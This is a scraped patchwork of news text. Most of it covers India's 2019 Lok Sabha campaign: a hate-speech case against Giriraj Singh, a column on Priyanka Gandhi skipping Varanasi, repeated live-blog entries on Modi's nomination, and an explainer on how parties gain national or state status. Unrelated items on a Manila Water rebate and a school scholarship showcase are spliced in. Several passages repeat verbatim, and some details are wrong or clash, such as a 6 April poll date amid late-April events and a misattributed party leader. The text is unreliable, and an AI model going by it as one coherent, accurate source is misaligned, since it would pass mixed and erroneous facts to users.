when Priyanka had declared her intention to contest from this seat, she had generated hope in the Opposition. But the choice of Rai is seen as an abject capitulation. Similarly, the Samajwadi Party-BSP fielded a lightweight, Shalini Yadav, to take on the country's most powerful politician. Evidently, the Opposition's surrender to Modi is bound to provoke wider reverberations in the rest of the country. Rashtriya Janata Dal leader and former deputy chief minister of Bihar, Tejashwi Yadav, on Wednesday had said Begusarai BJP candidate Giriraj Singhs demand to ban green flags is an insult to the tricolour. Patna: A case was registered against Union minister and BJP leader Giriraj Singh on Thursday at Begusarai police station for violating the Model Code of Conduct by making controversial remarks against the Muslim community. This comes in response to Singh's statement where he demanded the Election Commission to impose a ban on the use of green flags, associated with religious and political bodies of Muslims. He alleged that the green flags not only spread hate but also create a perception of being used in Pakistan. The complaint lodged with the poll panel said Singh's remarks hurt the sentiments of a section of a minority group. The FIR was lodged under sections 125 of the Representation of People Act and sections 153 A, 295 A, 171 C, 188, 298, 505 of the Indian Penal Code. "I would like to say, Giriraj Singh's ancestors died and were cremated. You need a yard of land even after you die, for the burial of your mortal remains. If you say you cannot chant Vande Mataram, this nation will never forget you," Griraj said in an election rally here where BJP chief Amit Shah was also present. Rashtriya Janata Dal leader and former deputy chief minister of Bihar, Tejashwi Yadav, on Wednesday had said Singhs demand to ban "green flags" is an insult to the tricolour. This is an insult to the tricolour. The green colour is there in Tiranga too, he said while talking to reporters here. One ideology, one thinking cannot be forcefully imposed on everyone. I don't like the name Giriraj Singh. Change the name, he had quipped. The RJD leader alleged that the BJP is not talking about farmers, youth, jobs and other issues. "What kind of politics is this? he had asked. Lok Sabha polls in 14 out of the 40 seats at stake in Bihar were conducted in the first three phases, on 11, 18 and 23 April. Manila Water customers to receive rebate beginning June over supply lack Metro Manila (CNN Philippines, April 26) Customers affected by the water crisis will benefit from the P534.05-million fine slapped on Manila Water Company, Inc., the Metropolitan Works and Sewerage System (MWSS) said on Friday. MWSS Administrator Reynaldo Velasco said the rebate will be reflected on the water bill as early as June. "Lahat mabibigyan, hindi lang ang severely affected. Lahat na 'yan na nagkaroon ng problema doon sa 62 out of 631 barangays na naapektuhan. Ang naapektuhan is only 10 percent," he told CNN Philippines. Velasco said they are studying how much will be deducted from water bills over the months, estimating around P2,000 will be given back to customers through a rebate. He added the amount will be the same across all affected customers. Velasco said the rebate from the P534-million fine will be separate from the one-time bill waiver scheme the east zone concessionaire gave households severely affected by the supply interruption in March. The MWSS Board on Wednesday said it imposed a penalty of P534.05 million for Manila Water's failure to supply water in violation of its concession agreement with the government. It also asked the Ayala-led company to set aside funds worth P600 million for the development of a new water supply source. Velasco said Manila Water cannot impose tariff in the fund for the development of the medium- to long-term water source for parts of Metro Manila and Rizal. "Assuming na ang project ng Manila Water in the next water source program is P6.6 billion, ang pwede lang nilang kunan ng tariff ay P6 billion. Ang P600 million, tatanggalin 'yun, hindi sila pwede mag-charge ng additional tariff," he said. He said water concessionaires cannot pass on the cost of developing new sources to customers without MWSS approval through rate rebasing, which will be in 2022. On March 7, customers of Manila Water were surprised by an unannounced water interruption. For at least a week, its 1.2 million customers had no water supply or low water pressure. The company attributed the shortage to depleting supply at the La Mesa reservoir in Quezon City due to the dry spell. Some of the brightest minds in School District 22 were featured at the annual District Scholarship Showcase. Maritza Reilly, with SD 22, said the students have been working on the projects for months. Reilly said volunteer community judges will be looking at each project to qualify them for a $1,250 scholarship. We do get a number of scholarships from the Ministry of Education, but there are so many excellent projects here, it will be difficult to choose who the winners are, said Reilly, adding some of the students displays reflect careers they hope to pursue. We are very thankful to the community experts that have come to judge the students, we know that the students really value their input, said Reilly. For Congress leader Priyanka Gandhi, jumping into the fray during the Lok Sabha election, that too directly against Narendra Modi from Varanasi, would have been a different ballgame altogether. After Priyanka Gandhi Vadras decision to refrain from contesting against Prime Minister Narendra Modi in Varanasi, nothing resonates more forcefully than author C JoyBell Cs famous quote, Choose your battles wisely. After all, life isnt measured by how many times you stood up to fight. Surely, it would set the clock back of the slim chance of reviving the Congress in a state that sends 80 MPs to the Lok Sabha. Surely, it disappointed the party workers, who had hoped that the entry of the Congress general secretary for Eastern Uttar Pradesh would galvanise the party's moribund organisational structure, attract the youth and bring Dalits and minorities back to the party fold once again. Surely, the liberals sitting in newsrooms and Lutyens Delhi would be disappointed with the principal Opposition party failing to mount up a challenge against Modi. However, in reality, any defeat from the temple town would have dealt a knockout punch to the Congress chance of a comeback in Uttar Pradesh for years to come, besides jeopardising Priyankas career in the future. After dilly-dallying for years, the charismatic daughter from the Gandhi family formally entered the political fray only in January, just a few months before the Lok Sabha election. Although this holy-town is scheduled to vote in the final phase on 19 May, the eleventh-hour entry would have hardly helped her cause in a seat where, in the past three decades, the Grand Old Party had managed to win only once, in 2004. There was hardly any time for groundwork, to figure out the problems afflicting the constituency, raise questions and offer solutions, build the organisational structure of the party from scratch and then mobilise voters. Additionally, given the symbolical importance of Varanasi in the pantheon of Hindutva culture, Priyanka would have found herself lagging for not cultivating an image akin to her brother in the mold of a Shiv Bhakt or a devout Hindu. Its true that she shouldnt have been carried away or fanned the speculation for weeks of her contesting from Varanasi, saying that she was ready to contest from the seat if her party wanted to, or if her brother wanted her to. Altogether, it wont be wrong to assume that all these days, she was testing the waters and gauging the atmosphere of whether to contest. At this moment, we can only speculate that the ground report, after three phases of polling, might have also influenced her decision. The decision by the Samajwadi Party and Bahujan Samaj Party to field Shalini Yadav to take on Modi also didnt help her cause as it ensured a split in anti-BJP votes. Although she managed her mother and brothers constituency, Raebareli and Amethi, for years, jumping into the poll fray amid the heat and dust of Indian politics particularly in the cow belt and that too directly against Modi is a different ballgame altogether. It was a gamble that was simply worth not taking up as a defeat would have resulted in dwindling political capital for her. Jawaharlal Nehru never lost an election. Neither did Rajiv Gandhi. Even during the "Modi wave" of 2014, both Rahul and Sonia managed to hold onto her seat. It was only in 1977, on the back of an anti-Emergency and anti-Indira wave, that Indira Gandhi lost to Raj Narain from Raebaraeli. But this is considered an aberration. The bottom line is that by belonging to the first family of the Congress, Priyanka doesnt have the option of coming even second best. For a strategical purpose, or when in doubt, the family did contest from a second seat Indira from Chikmagalur in 1978 and Medak in 1980, Sonia from Bellary in 1999 and now Rahul from Wayanad but they were all deemed to be safe seats. Varanasi, though, is far from being a safe seat, with the BJP winning in the four Assembly segments that fall under it in the 2017 Uttar Pradesh Assembly polls and NDA partner Apna Dal (Sonelal) winning the fifth. Congress managed to come a distant second in only two of these seats after forming an alliance with Samjawadi Party. Not counting Apna Dals winning margin, Congress is faced with an uphill task of bridging more than 1,80,000 votes, if we extrapolate the 2017 Assembly results with no allies to back it. For the media, though, it would have been the mother of all battles, with television cameras, OB vans and journalists from across the country swarming to the city to cover the Big Fight. However, in political terms, it would have been largely symbolical. Given his penchant for taking on the family, Modi would have surely focused on her husband Robert Vadras alleged corruption cases and trained his guns on her for paratrooping like an elite commando. Sonia didnt jump in to take over the reins of the party after Rajiv Gandhis assassination, despite earnest exhortation by Congress leaders and workers. She took the plunge only when she was sure of reviving the partys fortune. Rahul also took his own time from being a reluctant politician to leading the charge, starting from the Gujarat Assembly polls in 2017, in spite of being an MP since 2004. Taking a cue from her mother and brother, Priyanka should also decide on what would be an appropriate time for her to challenge the might of Modi-Shah duo. Lok Sabha Election 2019 LIVE updates: Addressing a rally in Mumbai, Prime Minister Narendra Modi said, 'Congress has broken its record in 2019 by contesting in the lowest number of seats. Don't waste your vote by voting a party that at best can get 50 seats in the Lok Sabha.' Auto refresh feeds Prime Minister Narendra Modi, who is on a two-day visit to his parliamentary constituency, is scheduled to file his nomination on Friday in the presence of NDA leaders, including Bihar chief minister Nitish Kumar and Shiromani Akali Dal leader Sukhbir Singh Badal. The prime minister is also scheduled to offer prayers at the temple town's Kal Bhairav temple before filing his papers. Prime Minister Narendra Modi spoke in a freewheeling, comparatively relaxed register with BJP booth workers on Friday. He said concerns over his own security were overriden by concerns over the security of women, touched upon how he wished more women would vote and slammed Opposition parties for allegedly monetising elections. "Let the country's poll strategists write books on how perfect the polls were in Varanasi," he said. Rahul campaigned in Kota and Jalore districts on Thursday, where he accused the prime minister of doing injustice to the people of India. He extolled the virtues of the Congress' promised NYAY scheme and said he would fill the accounts of India's ordinary people with money, the same way Modi had filled the accounts of the likes of Anil Ambani, Nirav Modi and Mehul Choksi with crores. Congress president Rahul Gandhi, who had toured Rajasthan on Thursday, is scheduled to visit Bihar, Maharashtra and Odisha on Friday for public meetings. Congress general secretary Priyanka Gandhi is expected to campaign in Uttar Pradesh's Unnao and Barabanki districts. Unnao will go to polls on Monday, while elections will be held in Barabanki on 6 April. Speculation had been rife on Priyanka's possible nomination from Varanasi. The Congress on Thursday put an end to that by nominating Ajay Rai. The video accompanying the tweet shows a flight in turbulence. The camera then pans to Rahul himself, who says somewhat agitatedly, "Tweet it out, otherwise they'll say you were delayed." Congress chief Rahul Gandhi has tweeted that his aircraft to Patna ran into engine trouble, forcing him to return to Delhi. "Todays meetings in Samastipur (Bihar), Balasore (Odisha) and Sangamner (Maharashta) will run late. Apologies for the inconvenience," he wrote. Navigating the narrow lanes of Varanasi with an enormous security entourage, Prime Minister Narendra Modi offered prayers at the Kal Bhairav Temple in the city. The temple is known as the 'nagar kotwal' and functions as a strong symbol of the city. Narendra Modi's enormous cavalcade is expected to reach the Varanasi Collectorate within a matter of minutes. He is accompanied by the likes of Yogi Adiyanath, Piyush Goyal, Nitish Kumar, JP Nadda, Ram Vilas Paswan, Anupriya Patel at the nomination filing. As Narendra Modi arrives at the Varanasi Collectorate, the significance of a united NDA, top leaders of which have joined the prime minister for his nomination filing, is not lost on anyone. Nearly every NDA leader, including Nitish Kumar and Uddhav Thackeray, are present. Narendra Modi arrived at the Varanasi Collectorate in a wave of frenzy centred chiefly around the fact that so many of the NDA's allies have appeared in a show of strength. Modi was greeted by and exchanged pleasantries with the leaders in the room before spending some time seated in a semi-circle with them. BJP chief Amit Shah thanked the NDA leaders for their presence at Narendra Modi's nomination filing, posting photographs with the likes of Ram Vilas Paswan and Uddhav Thackeray from Friday morning. Narendra Modi is accompanied by four proposers and his lawyer. He has submitted his papers to the District Magistrate, who is now going through them in his presence. As formalities regarding Prime Minister Narendra Modi's nomination filing are completed by the District Magistrate, Modi can be seen engaging in mild conversation with his four proposers. The Election Commission had directed that material serving the interests of any political entity or with the potential to disturb the level playing field during elections should not be played. The producers of the Modi biopic had challenged the same. A bench of CJI Ranjan Gogoi, Justice Deepak Gupta and Justice Sanjiv Khanna of the Supreme Court on Friday refused to interfere with the Election Commission order banning the release of the biopic PM Narendra Modi. Prime Minister Narendra Modi will, in fact, not be addressing a rally at Ayodhya, the town at the centre of the Babri Masjid-Ram Janmabhoomi dispute. He will address a rally at Maya Bazar, near the town, on 1 May. In a rare impromptu appearance in front of media, Modi said he is thankful to reporters who have been at it in the Varanasi heat. "I am grateful for the blessings that Kashi has given me, since 5 pm last evening. Only Kashi residents can be in a roadshow for 10 to 12 hours. This is Lord Shiva's land, mother Ganga's own soil. I accept the love Kashi and its residents have given me. I request all voters to come forward, I urge them to celebrate the spirit of democracy in peace in the rest of the phases of the election," Narendra Modi said to reporters after filing his nomination papers and before going into his car. On a day when national media tracked Narendra Modi as he made his way through Varanasi to file his nomination papers for the Lok Sabha election, the Congress took a jibe at the prime minister's repeated harnessing of the Ganga's symbollic significance by tweeting on the pollution problems plaguing the river. "It is a shame that those who have not been able to look after the purity of the river for five years ask for votes in its name," the party wrote on its official Twitter handle. The cleaning was done to prepare for a giant roadshow led by Prime Minister Narendra Modi on Thursday, ahead of his nomination filing on Friday. A report by The Telegraph has claimed that round 1.4 lakh litres of drinking water was used on Wednesday night to wash the roads of Varanasi. More than 30 percent of the population in the city goes without piped water. Indian Overseas Congress chief Sam Pitroda has said that not contesting from Varanasi was Priyanka Gandhi's own decision, indicating it was not her brother Rahul's wish that kept her from an open contest with Narendra Modi. Congress on Thursday named Ajay Rai from the seat. "It (not contesting from Varanasi) was Priyanka ji's decision, she has other responsibilities. She thought rather than concentrating on one seat she should focus on the job she has at hand. So, that decision was her and she decided it," Pitroda said. AAP's East Delhi candidate Atishi has filed a criminal complaint against BJP candidate Gautam Gambhir, accusing him of having two voters cards, in two separate constituencies of Delhi, Karol Bagh and Rajinder Nagar. In a series of tweets, Atishi reflected on the fact that in his affidavit to the Returning Officer while filing his nomination, Gambhir concealed the information that he is also registered to vote in Karol Bagh, something which is punishable under Section 125A of the Representation of the People Act. RJD leader Tejashwi Yadav said in his joint rally with Rahul Gandhi at in Samastipur that the country needed a prime minister like Rahul Gandhi who prioritises the poor. "Come meet Tejashwi ji too," the Gandhi scion told Rahul, before patting him on the back and sending him along. At his rally in Bihar's Samastipur, Congress chief Rahul Gandhi asked a boy in the crowd what his name was. The boy replied Rahul, upon which the crowd broke into spontaneous applause. "Come up on stage, Rahul," asked the Congress chief. Once on stage, Rahul shook hands with his namesake in clear awe of the situation. In Madhya Pradesh's Sidhi, Narendra Modi focused the charge on the Congress government in the state. He first attacked Congress for cheating people when it comes to electricty. "Congress had promised to reduce electricity bills and found a solution to do so by reducing electricity supply in your homes. Is this not betrayal?" he asked. He also repeated his earlier disputed claim of bringing the capital punishment for rapists, at the rally. Modi also accused Congress of playing a game with terrorists and said this was why Pakistan has been making fun of India. In his rally at Sidhi, Prime Minister Narendra Modi once again accused Congress leaders of demeaning the Indian Army, mentioning a leader of the party without naming him and saying that he had said only poverty stricken people join the forces. Modi asked the crowds whether they would not wish to take a group of people who insulted jawans out of power. In Orai, BSP supremo Mayawati accused the BJP of releasing stray animals at her Thursday rally. "Now, the stray animals belonging to the BJP are being released at our rally venues. On Thursday, in Kannauj, where our rally was held, it seems that the people of the BJP were behind the mischief which involved released stray animals there," she said. On actor Sunny Deal contesting from Gurdaspur on a BJP ticket, Punjab chief minister Amarinder Singh said, "He (Sunny Deol) is a filmy fauji, while I am a real fauji. We will defeat him. He is no threat to (Congress Lok Sabha candidate from Gurdaspur) Sunil Jakhar, or the Congress." Addressing a rally in Jabalpur, Prime Minister Narendra Modi lashed out at the Congress for criticising Swachh Bharat mission, "Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media." "In order to get something done, one's intentions need to be good. The intention of Congress leaders is corrupt, the leader is in delusion and the policy has gone astray. This is the reason why Congress has been mentioning the issue of reservation for the poor in its several manifestoes over the years but never got the courage to work for it," Narendra Modi said at a rally in Jabalpur. Congress promising reservation for poor for years but never had courage to bring it, says PM Prime Minister Narendra Modi said the Congress was targeting him over demonetisation owing to the reverses suffered by "people close to it" in the realty sector as a result of the note ban. "Demonetisation led to a reduction in house prices. But the Congress lost the corruption money that its people had invested in this sector," he said. The Election Commission has barred Nadia BJP district president Mahadev Sarkar from holding any public meeting, road show, public rally and interviews in media in connection with ongoing elections, for 48 hours from 4 pm on 26 April till 4 pm on 28 April. The poll panel has issued a notice to Sarkar for violating the Model Code of Conduct by making statements attacking personal life of TMC's Mahua Moitra during a public meeting on 22 April. Prime Minister Narendra Modi is at the Bandra-Kurla Complex venue of his rally with Maharashtra chief minister Devendra Fadnavis, Shiv Sena chief Uddhav Thackeray, and RPI leader Ramdas Athawale. He is expected to address the gathering shortly. Addressing a rally in Mumbai, Prime Minister Narendra Modi said, "This election is not just for choosing a government, it is an election to decide the direction of India. This is not a election of vikalp, but of sankalp. This is to strengthen the poor and not the fake 'Garibi Hatao' promise... The Opposition is afraid of the wave in the country." "After independence, the Congress got the least number of seats in 2014. In 2019, Congress is fighting on the least number of seats. They're not even visible anywhere and they feel that if they appear on TV then people will vote for them. The strategy and politics of Congress is stuck in the past." "In all the surveys in that country, it is discussed that if Congress will cross at least reach 50 seats or get fewer seats," Narendra Modi said. Narendra Modi's mega roadshow on Thursday drew massive crowd of supporters in Varanasi. Journalists and others who joined the procession took to Twitter to share their experience. According to unverified reports, about 5 lakh people took to the streets to get a glimpse of the prime minister. A day after, on Friday, Modi filed his nomination from Varanasi accompanied of top NDA allies like Nitish Kumar and Uddhav Thackeray. Mumbai will go to polls on Monday, during the fourth phase of voting for the general election. Prime Minister Narendra Modi is at the Bandra-Kurla Complex venue of his rally with Maharashtra chief minister Devendra Fadnavis, Shiv Sena chief Uddhav Thackeray, and RPI leader Ramdas Athawale. He is expected to address the gathering shortly. Addressing a rally in Mumbai, Prime Minister Narendra Modi said, "This election is not just for choosing a government, it is an election to decide the direction of India. This is not a election of vikalp, but of sankalp. This is to strengthen the poor and not the fake 'Garibi Hatao' promise... The Opposition is afraid of the wave in the country." "After independence, the Congress got the least number of seats in 2014. In 2019, Congress is fighting on the least number of seats. They're not even visible anywhere and they feel that if they appear on TV then people will vote for them. The strategy and politics of Congress is stuck in the past." "In all the surveys in that country, it is discussed that if Congress will cross at least reach 50 seats or get fewer seats," Narendra Modi said. "In the past five years, we've increased the number of tax-payers, but not raised the rate of taxes. It is for the first time that this has happened. An ex-former minister was the prime minister. Today, the middle class has more savings. You will only understand this when you compare it with the situation under the previous government," said Narendra Modi in Mumbai. PM slams Congress over terrorism "Terrorists had attacked Mumbai several times under the Congress government. But Congress government would just change ministers, give statements and go to sleep... I am the son of Chhatrapati Shivaji Maharaj. We have made it clear that we will kill the terrorists by entering their homes. We changed culture of changing chief minister and home minister after terror attacks," Narendra Modi said. While in 2009, the IPL was held in South Africa, it was partly held in India and partly in UAE in 2014. At his Mumbai rally, Narendra Modi claimed that under the Congress government in 2009 and 2014, the government was unable to hold both Indian Premier League (IPL) and elections at the same time over security concerns. He further said that under his rule, the elections are being held with the IPL, while Ramzan festivities are also going smoothly. Lok Sabha Election 2019 LATEST updates: Addressing a rally in Mumbai, Prime Minister Narendra Modi said, "Congress has broken its record in 2019 by contesting in the lowest number of seats. Don't waste your vote by voting a party that at best can get 50 seats in the Lok Sabha." Prime Minister Narendra Modi is at the Bandra-Kurla Complex venue of his rally with Maharashtra chief minister Devendra Fadnavis, Shiv Sena chief Uddhav Thackeray, and RPI leader Ramdas Athawale. He is expected to address the gathering shortly. Mukesh Ambani's son Anant Ambani earlier arrived at the venue. The rally comes three days before Mumbai is scheduled to go to polls during the fourth phase of voting for the general election. The Election Commission has barred Nadia BJP district president Mahadev Sarkar from holding any public meeting, road show, public rally and interviews in media in connection with ongoing elections, for 48 hours from 4 pm on 26 April till 4 pm on 28 April. The poll panel has issued a notice to Sarkar for violating the Model Code of Conduct by making statements attacking personal life of TMC's Mahua Moitra during a public meeting on 22 April. Addressing a rally in Madhya Pradesh's Jabalpur, Prime Minister Narendra Modi claimed that the Congress lost black money post demonetisation that it had invested in housing sector. "Housing rates have gone down as a result of demonetisation. But the Congress lost its corruption money that it had invested in this sector," he said. The Tis Hazaari court in Delhi will hear AAP leader Atishi's a criminal complaint against cricketer and BJP candidate Gautam Gambhir for allegedly enrolling as voter in two separate constituencies. In his latest blog post on Facebook, Finance Minister Arun Jaitley claimed that the Congress "obviously is in no position to effectively take on the regional parties or the BJP." "Therefore, the only issue in the future rounds is the width of the margin of victory of the BJP. Will it be a repeat of 2014 in terms of votes or will it be more?" he asked. At a rally in Asansol, TMC chief Mamata Banerjee claimed that Prime Minister Narendra Modi only visited West Bengal to seek votes during election season. "Modi didn't come to West Bengal earlier, and during elections he needs votes from Bengal. We will give him rasgulla from Bengal. We will make sweets from soil and put pebbles in it similarly like cashew nuts and raisins are used in laddu, that will break teeth," she was quoted as saying by ANI. Mamata has been targetting Modi ever since he spoke about her gift of kurtas and sweets that she sent him in an interview with actor Akshay Kumar. In Orai, BSP supremo Mayawati accused the BJP of releasing stray animals at her Thursday rally. "Now, the stray animals belonging to the BJP are being released at our rally venues. On Thursday, in Kannauj, where our rally was held, it seems that the people of the BJP were behind the mischief which involved released stray animals there," she said. In a video shared by ANI, a stray bull was seen creating ruckus ahead of SP-BSP-RLD rally in Kannauj on Thursday. AAP's East Delhi candidate Atishi has filed a criminal complaint against BJP candidate Gautam Gambhir, accusing him of having two voters cards, in two separate constituencies of Delhi, Karol Bagh and Rajinder Nagar. In a series of tweets, Atishi reflected on the fact that in his affidavit to the Returning Officer while filing his nomination, Gambhir concealed the information that he is also registered to vote in Karol Bagh, something which is punishable under Section 125A of the Representation of the People Act. In Madhya Pradesh's Sidhi, Narendra Modi focused the charge on the Congress government in the state. He first attacked Congress for cheating people when it comes to electricty. "Congress had promised to reduce electricity bills and found a solution to do so by reducing electricity supply in your homes. Is this not betrayal?" he asked. He also repeated his earlier disputed claim of bringing the capital punishment for rapists, at the rally. At his rally in Bihar's Samastipur, Congress chief Rahul Gandhi asked a boy in the crowd what his name was. The boy replied Rahul, upon which the crowd broke into spontaneous applause. "Come up on stage, Rahul," asked the Congress chief. Once on stage, Rahul shook hands with his namesake in clear awe of the situation. "Come meet Tejashwi ji too," the Gandhi scion told Rahul, before patting him on the back and sending him along. Indian Overseas Congress chief Sam Pitroda has said that not contesting from Varanasi was Priyanka Gandhi's own decision, indicating it was not her brother Rahul's wish that kept her from an open contest with Narendra Modi. Congress on Thursday named Ajay Rai from the seat. "It (not contesting from Varanasi) was Priyanka ji's decision, she has other responsibilities. She thought rather than concentrating on one seat she should focus on the job she has at hand. So, that decision was her and she decided it," Pitroda said. On a day when national media tracked Narendra Modi as he made his way through Varanasi to file his nomination papers for the Lok Sabha election, the Congress took a jibe at the prime minister's repeated harnessing of the Ganga's symbollic significance by tweeting on the pollution problems plaguing the river. "It is a shame that those who have not been able to look after the purity of the river for five years ask for votes in its name," the party wrote on its official Twitter handle. In a rare impromptu appearance in front of media, Prime Minister Narendra Modi said he is thankful to reporters who have been at it in the Varanasi heat. "I am grateful for the blessings that Kashi has given me, since 5 pm last evening. Only Kashi residents can be in a roadshow for 10 to 12 hours. This is Lord Shiva's land, mother Ganga's own soil. I accept the love Kashi and its residents have given me. I request all voters to come forward, I urge them to celebrate the spirit of democracy in peace in the rest of the phases of the election," Modi said to reporters after filing his nomination papers and before going into his car. Prime Minister Narendra Modi has filed his nomination papers at the Varanasi District Magistrate's office. He has now rejoined Uddhav Thackeray, Amit Shah, Nitish Kumar, Parkash Singh Badal, Ram Vilas Paswan and other leaders of the NDA in the anteroom for a photo op. Narendra Modi is accompanied by four proposers and his lawyer. He has submitted his papers to the District Magistrate, who is now going through them in his presence. As Narendra Modi arrives at the Varanasi Collectorate, the significance of a united NDA, top leaders of which have joined the prime minister for his nomination filing, is not lost on anyone. Nearly every NDA leader, including Nitish Kumar and Uddhav Thackeray, are present in what is emerging to be a star studded District Magistrate's office. Navigating the narrow lanes of Varanasi with an enormous security entourage, Prime Minister Narendra Modi offered prayers at the Kal Bhairav Temple in the city. The temple is known as the 'nagar kotwal' and functions as a strong symbol of the city. Narendra Modi's enormous cavalcade is expected to reach the Varanasi Collectorate within a matter of minutes. He is accompanied by the likes of Yogi Adiyanath, Piyush Goyal, Nitish Kumar, JP Nadda, Ram Vilas Paswan, Uddhav Thackeray and Anupriya Patel at the nomination filing. Congress chief Rahul Gandhi has tweeted that his aircraft to Patna ran into engine trouble, forcing him to return to Delhi. "Todays meetings in Samastipur (Bihar), Balasore (Odisha) and Sangamner (Maharashta) will run late. Apologies for the inconvenience," he wrote. The video accompanying the tweet shows a flight in turbulence. The camera then pans to Rahul himself, who says somewhat agitatedly, "Tweet it out, otherwise they'll say you were delayed." Prime Minister Narendra Modi will file his nomination from Varanasi Lok Sabha constituency today (Friday, 26 April 2019). Early on Friday, Modi addressed workers from the constituency in a small public meeting. Modi urged the BJP karyakartas to inspire people to come to polling booths in large numbers to exercise their franchise. "Yesterday, on social media, I was heavily scolded for being flippant about my own security at the roadshow. People told me, why are you setting out in the dark, what about your security? I told them, if my security is your concern, then think also of the security of women," he said. He is scheduled to offer prayers at Kashi Vishwanath Temple before heading to the Collectorate for the formal filing. On Thursday, the prime minister led a massive roadshow in Varanasi followed by prayers at Dashashwamedh Ghat. He was accompanied by Bharatiya Janata Party chief Amit Shah and Uttar Pradesh chief minister Yogi Adityanath. Senior NDA leaders, including Janata Dal (United) president and Bihar chief minister Nitish Kumar and Shiv Sena chief Uddhav Thackeray, are expected along with Shiromani Akali Dal's Parkash Singh Badal and Lok Janshakti Party chief Ram Vilas Paswan when Modi files his nomination. Leaders of AIADMK, Apna Dal and North-East Democratic Alliance (NEDA) will also be present during the nomination. BJP president Amit Shah is scheduled to address a public rally in Rajasthan's Jalore Lok Sabha constituency in support of party candidate Devji Patel. Shah will also attend a roadshow in Jodhpur for BJP candidate and Union minister Gajendra Singh, who is also the sitting MP from that constituency. In his rallies across Uttar Pradesh on Thursday, Shah directed the vitriol towards the Congress, Samajwadi Party and Bahujan Samaj Party, which he blamed for years of misrule in the state. Meanwhile, Congress president Rahul Gandhi, who had toured Rajasthan on Thursday, is scheduled to visit Bihar, Maharashtra and Odisha on Friday for public meetings. Rahul campaigned in Kota and Jalore districts on Thursday, where he accused the prime minister of doing injustice to the people of India. He extolled the virtues of the Congress' promised NYAY scheme and said he would fill the accounts of India's ordinary people with money, the same way Modi had filled the accounts of the likes of Anil Ambani, Nirav Modi and Mehul Choksi with crores. Congress general secretary Priyanka Gandhi is expected to campaign in Uttar Pradesh's Unnao and Barabanki districts. Unnao will go to polls on Monday, while elections will be held in Barabanki on 6 April. Speculation had been rife on Priyanka's possible nomination from Varanasi. The Congress on Thursday put an end to that by nominating Ajay Rai. There are seven political parties with the tag of national party: Bharatiya Janata Party, Indian National Congress, Communist Party of India, Communist Party of India (Marxist), Nationalist Congress Party, Bahujan Samaj Party, and the Trinamool Congress. India is a multi-party democracy. The rise of coalition politics since the late 1990s bears testimony to that fact. However, the scale of multi-party democracy in India is staggering if one accounts for the total number of registered unrecognised parties. According to the Election Commission of India (ECI), there are 2,301 such outfits in the country. Many, if not all, of these unrecognised parties contest elections. Some of these unrecognised parties include "Bharosa Party," Sabse Badi Party," and "Rashtriya Saaf Niti Party." Apart from these little-known political outfits, seven political parties are recognised as being on the national level. At least 52 others enjoy the state party status. National party The Election Symbols (Reservation and Allotment) Order, 1968, lays down the criteria for declaring any registered political party as a national party or a state party. As per the order, a registered political party needs to fulfil at least one of the three conditions to become a national party. Under the first condition, a political party needs to win minimum two percent of seats in the Lok Sabha (11 seats) from at least three different states. Another way of gaining national party status is by polling at least six percent of votes in four states in Lok Sabha and Assembly elections, in addition to winning four Lok Sabha seats. A political party may also secure recognition as national party if it is recognised as a state party in four or more states. Notably, the Mamata Banerjee-led Trinamool Congress became a national party in 2016 through the third route. By August 2016, Trinamool was a recognised state party in West Bengal, Manipur, Tripura and Arunachal Pradesh. Interestingly, the BSP too became a national party for the first time in 2001 in a similar manner. At the time, BSP was already a recognised state party in four states: Madhya Pradesh, Punjab, Uttar Pradesh and Jammu and Kashmir. Moreover, the party won over six percent of votes in these states during the Assembly elections. There are seven political parties with the tag of national party: Bharatiya Janata Party, Indian National Congress, Communist Party of India, Communist Party of India (Marxist), Nationalist Congress Party, Bahujan Samaj Party, and the Trinamool Congress. In 2010, Rashtriya Janata Dal, led by Lalu Prasad Yadav, lost its national party status after performing poorly in Jharkhand, where it used to be recognised as a state party. However, CPM, CPI and NCP were also at the risk of losing their national party tag after failing to perform well in the 2014 Lok Sabha elections. However, they received a respite after the Election Commission decided to review performances of political parties on a 10 year-basis in 2016. State party Each of the 29 states in India has at least one political party which comes under the category of state party. As of March 2019, the Election Commission of India recognises 52 political parties as such. Many of these parties have tasted political power at some point: either in coalition with a national party or single-handedly. At present, Shiv Sena, Janata Dal (Secular), Aam Aadmi Party, Telugu Desam Party, Janata Dal (United), All India Anna Dravida Munnetra Kazhagam, Biju Janata Dal, Sikkim Democratic Front, National Peoples Party and Nationalist Democratic Progressive Party are the political parties recognised as such which are in power in different states. In order to be recognised as a state party, a political party needs to fulfil at least one of the four criteria laid down by the Election Commission of India. A political party will be recognised as a state party if it wins three percent of the total seats in the Legislative Assembly of the state (subject to a minimum of three seats). Alternatively, a party must win one Lok Sabha seat for every 25 Lok Sabha seats allotted for the state in order to become a state party. The third and fourth criteria seem comparatively simpler for any registered political party to fulfil. A political party needspoll at least six percent of votes in a state during a Lok Sabha or Assembly election. In addition, it also needs to win at least one Lok Sabha or two Legislative Assembly seats. Finally, a political party will be recognised as a state party if it wins at least eight percent votes in a state during the Lok Sabha or Legislative Assembly elections. In the past few years, many political parties have been derecognised for failing to secure minimum number of seats and vote share as prescribed by the Election Commission. Some of them include Vaiko-led Pattali Makkal Katchi and Manipurs Peoples Party. While the former was derecognised in 2010, the latter which is the oldest political outfit in Manipur its state party status in 2013. Benefits of being a state party or national party The Election Commission of India urges political outfits to register themselves to avail several benefits. The RPA allows political parties to accept contributions voluntarily offered to it by any person or company other than a government company. Apart from this, candidates of registered parties get preference in allotment of election symbols, as per a PIB press release. A state party is allowed exclusive use of its allotted symbol during Assembly or parliamentary elections in a state where it is recognised as such. For example: The DMK is allowed to use its symbol Rising Sun in Assembly or general elections in Tamil Nadu. On the other hand, a national party is allowed exclusive use of its allotted symbol during state or Lok Sabha elections across the country. Recognised state or national parties also get other benefits from the Election Commission. A candidate belonging to such parties needs only one proposer for filing the nomination. These parties are also entitled to two sets of electoral rolls free of cost at the time of revision of rolls, while their candidates get one copy of electoral roll for no cost during general elections. Since 1998, these political parties also get broadcasting rights over All India Radio (AIR) and Doordarshan during Lok Sabha and Assembly elections. As per the Election Commissions latest press release, the Congress and the BJP get the lion's share of time on AIR and Doordarshan. While the Congress gets 131 minutes of broadcast and telecast time, the ruling BJP gets 184 minutes for the same purpose. Both national and state parties also enjoy the privileges of utilising star campaigners for their election campaigns. A recognised national or state party can have a maximum of 40 star campaigners during a state or national election. Notably, the travel expenses of star campaigners cannot be accounted for in the election expense accounts of candidates. Many unrecognised parties remain dormant The 2,000 plus registered but unrecognised political parties do not have the privilege of contesting elections on a fixed 